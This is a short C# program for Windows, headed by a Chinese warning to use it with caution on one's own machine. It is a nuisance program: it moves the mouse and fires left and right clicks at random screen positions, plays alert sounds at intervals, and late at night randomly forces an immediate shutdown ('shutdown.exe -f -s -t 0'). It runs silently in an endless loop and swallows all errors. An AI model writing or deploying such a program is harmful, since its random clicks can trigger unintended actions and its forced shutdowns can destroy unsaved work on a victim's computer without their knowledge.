本机慎用......

using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
    static class Program
    {
        const int MOUSEEVENTF_LEFTDOWN = 0x2;
        const int MOUSEEVENTF_LEFTUP = 0x4;
        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
        const int MOUSEEVENTF_MIDDLEUP = 0x40;
        const int MOUSEEVENTF_MOVE = 0x1;
        const int MOUSEEVENTF_ABSOLUTE = 0x8000;
        const int MOUSEEVENTF_RIGHTDOWN = 0x8;
        const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport("user32.dll")]
        static extern int GetSystemMetrics(int nIndex);
        [DllImport("user32.dll")]
        static extern int SetCursorPos(int x, int y);
        [DllImport("user32.dll")]
        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

        static int Sx, Sy;
        static long tick = 1;
        static Random rnd = new Random();
        [STAThread]
        static void Main()
        {
            try
            {
                Sx = GetSystemMetrics(0);
                Sy = GetSystemMetrics(1);
                while(true) { if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(1000);
                    tick += rnd.Next(2);
                    if(tick < 1800)
                        continue;
                    if(tick % 643 == 0)
                        DoMouse();
                    if(tick % 313 == 0)
                        DoBang();
                }
            }
            catch { };
        }
        static void DoMouse()
        {
            int dx, dy;
            int c = 4;
            while(c-- > 0)
            {
                dx = rnd.Next(Sx);
                dy = rnd.Next(Sy);
                switch(rnd.Next(3))
                {
                    case 0:
                        SetCursorPos(dx, dy);
                        break;
                    case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                    case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                }
                Thread.Sleep(100);
            }
        }
        static void DoBang()
        {
            switch(rnd.Next(4))
            {
                case 0:
                    SystemSounds.Asterisk.Play();
                    break;
                case 1:
                    SystemSounds.Beep.Play();
                    break;
                case 2:
                    SystemSounds.Exclamation.Play();
                    break;
                case 3:
                    SystemSounds.Hand.Play();
                    break;
            }
        }
        static void DoShutdown()
        {
            Process.Start("shutdown.exe", "-f -s -t 0");
        }
    }
}